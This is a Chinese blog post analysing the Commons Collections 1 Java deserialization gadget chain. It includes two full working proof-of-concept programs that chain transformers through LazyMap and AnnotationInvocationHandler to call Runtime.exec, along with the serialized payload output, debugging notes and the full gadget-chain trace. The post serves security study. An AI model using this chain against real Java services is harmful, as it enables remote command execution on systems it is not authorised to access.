• CommonsCollections1链分析


    前言

    之前的urldns链是反序列化利用链中比较简单的,在实战中还是需要能直接执行命令的链,本篇主要分析CC1这个链。

    0x01 POC1执行

    public class CommonsCollections1 {
        public static void main(String[] args) throws Exception {
            //此处构建了一个transformers的数组,在其中构建了任意函数执行的核心代码
            Transformer[] transformers = new Transformer[] {
                    new ConstantTransformer(Runtime.class),
                    new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
                    new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
                    //new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
                    new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"open /System/Applications/Calculator.app"})
            };
    
            //将transformers数组存入ChaniedTransformer这个继承类
            Transformer transformerChain = new ChainedTransformer(transformers);
    
            //创建Map并绑定transformerChina
            Map innerMap = new HashMap();
            innerMap.put("value", "value");
            //给予map数据转化链
            Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
    
            //触发漏洞
            outerMap.put("test","test");
    
            //触发漏洞
    //        Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();
    //        //outerMap后一串东西,其实就是获取这个map的第一个键值对(value,value);然后转化成Map.Entry形式,这是map的键值对数据格式
    //        onlyElement.setValue("foobar");
        }
    }
    

    image-20220303233410712

    0x02 POC1分析

    Transformer

    在代码的最开始先是new了一个Transformer类型的数组,Transformer本身是一个接口,而new的这个数组是Transformer的实现类对对象:

    Transformer[] transformers = new Transformer[] {
                    new ConstantTransformer(Runtime.class),
                    new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
                    new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
                    //new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
                    new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"open /System/Applications/Calculator.app"})
    };
    

    image-20220304143701557

    再分别来看数组里面的值:

    ConstantTransformer

    第一个值:new ConstantTransformer(Runtime.class)

    image-20220304144649353

    这个方法跟进去之后,看到这个类是实现了Transformer, Serializable接口,里面的ConstantTransformer方法是重写了有参构造,传入的参数就是Runtime.class,然后赋值给属性Object的变量,最终返回回来生成的实例化对象。

    下面是断点调试的返回,返回了runtime的类

    image-20220304155118070

    InvokerTransformer

    第二个值:new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] })

    image-20220304150010358

    image-20220304150020886

    可以看到InvokerTransformer同样实现了Transformer, Serializable接口,并且重写的这个有参构造里面,有三个参数:

    第一个是方法名,第二个是参数类型,第三个是参数的值。

    1. String iMethodName:要调用的方法名
    2. Class[] iParamTypes:传入方法的参数类型
    3. Object[] args:要传入的参数

    后面一共初始化了三次,每次的参数值为:

    第一次:

    new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] })
    

    getMethod,null,getRuntime

    image-20220304175826736

    第二次:

    new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] })
    

    invoke,null,null

    image-20220304180130655

    第三次:

    new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"open /System/Applications/Calculator.app"})
    

    exec,null,Calculator.app

    image-20220304180206700

    ChainedTransformer

    Transformer transformerChain = new ChainedTransformer(transformers);

    ChainedTransformer这个类将之前的transformers数组通过循环的方式调用每个元素的trandsform方法,将得到的结果再传入下一次的trandform方法中。

    第一次执行,将runtime传入到了参数里面

    image-20220307105539973

    第二次传入Runtime.getRuntime()

    image-20220307110759816

    第三次将返回的实例化对象传入exec参数里面:

    image-20220307111608784

    这样通过ConstantTransformer得到Runtime.class,然后再InvokerTransformer反射得到getRuntime方法,然后通过反射执行invoke才能去调用getRuntime方法,这样得到一个Runtime对象,然后再去调用Runtime对象的exec方法去达到命令执行。

    这样链子有了,怎么才能用呢?

    TransformedMap

    //创建Map并绑定transformerChina
    Map innerMap = new HashMap();
    innerMap.put("value", "value");
    //给予map数据转化链
    Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
    

    查看源码:

    image-20220307112400224

    可以看到TransformwdMap的decorate方法根据传入的参数重新实例化一个TransformedMap对象,再看下面的put方法,不管是key还是value都会间接调用transform方法,而这里的this.valueTransformer也就是transformerChain,也就是说只要构造一个TransformedMap并且去修改value值,就能触发

    image-20220307125621096

    最终执行弹出计算器。

    POC2分析

    在上面是我们手动添加了put操作,但是在反序列化中我们需要找到一个类,直接或者间接的调用这种类似put的操作。

    这个类就是AnnotationInvocationHandler,他重写了readObject方法:

    private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
        var1.defaultReadObject();
        AnnotationType var2 = null;
    
        try {
            var2 = AnnotationType.getInstance(this.type);
        } catch (IllegalArgumentException var9) {
            return;
        }
    
        Map var3 = var2.memberTypes();
        Iterator var4 = this.memberValues.entrySet().iterator();
    
        while(var4.hasNext()) {
            Entry var5 = (Entry)var4.next();
            String var6 = (String)var5.getKey();
            Class var7 = (Class)var3.get(var6);
            if (var7 != null) {
                Object var8 = var5.getValue();
                if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
                    var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
                }
            }
        }
    
    }
    

    然后在yso项目中,作者使用的不是TransformedMap而是LazyMap,LazyMap中可以通过get方法调用transform:

    image-20220307141950055

    然后AnnotationInvocationHandler中的invoke方法可以调用LazyMap#get:

    image-20220307135721323

    这里注意调试该链需要用jdk小于8u71的版本,因为之后的版本AnnotationInvocationHandler#readObject方法被官方修改了。

    下面为完整POC:

    public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException, ClassNotFoundException, InstantiationException, IOException {
            //构造runtime.exec("command")
            Transformer[] transformers = new Transformer[] {
                    new ConstantTransformer(Runtime.class),
                    new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
                    new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
                    new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"open /System/Applications/Calculator.app"})
            };
            //将数组作为参数生成ChainedTransformer对象
            Transformer transformerChain = new ChainedTransformer(transformers);
    
            //构造LazyMap对象,将其属性factory设置为transformerChain
            Map innerMap = new HashMap();
            Map outerMap = LazyMap.decorate(innerMap, transformerChain);
    
            //反射获取AnnotationInvocationHandler的有参构造方法和class对象
            Class clazz =
                    Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
            Constructor construct = clazz.getDeclaredConstructor(Class.class,
                    Map.class);
            //暴力反射
            construct.setAccessible(true);
    
            InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
            Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
            handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);
            ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("1.txt"));
            oos.writeObject(handler);
    
        }
    

    这里最后采用了java动态代理机制,创建了动态代理map对象proxymap

    动态代理对象与真实对象会实现相同的接口,也就意味着会有相同的方法。

    最后传入Map类的动态代理对象proxyMap作为参数重新赋值给handler对象,当调用到被代理对象的任何方法时,都会先调用InvocationHandler接口中的invoke方法,而AnnotationInvocationHandler正好实现了该接口,从而达到命令执行。

    总结

    最终利用链为:

    Gadget chain:
       ObjectInputStream.readObject()
          AnnotationInvocationHandler.readObject()
             Map(Proxy).entrySet()
                AnnotationInvocationHandler.invoke()
                   LazyMap.get()
                      ChainedTransformer.transform()
                         ConstantTransformer.transform()
                         InvokerTransformer.transform()
                            Method.invoke()
                               Class.getMethod()
                         InvokerTransformer.transform()
                            Method.invoke()
                               Runtime.getRuntime()
                         InvokerTransformer.transform()
                            Method.invoke()
                               Runtime.exec()
    

    参考

    https://www.anquanke.com/post/id/248653

    https://www.cnblogs.com/nice0e3/p/13779857.html

    https://www.cnblogs.com/CoLo/p/15225390.html

  • 相关阅读:
    Python-面向对象(一)-Day7
    Python-模块使用-Day6
    Python-迭代器&生成器&装饰器&软件目录结构规范-Day5
    Python-函数-Day4
    Python-字典、集合、字符编码、文件操作整理-Day3
    Python-字符串及列表操作-Day2
    Python-基础学习-Day1
    解决安装Weblogic domain卡住问题(Primeton BPS)
    怎样在旅途中拍出好看的照片
    Weblogic启动成功,控制台打不开
  • 原文地址:https://www.cnblogs.com/N0r4h/p/15975781.html
Copyright © 2020-2023  润新知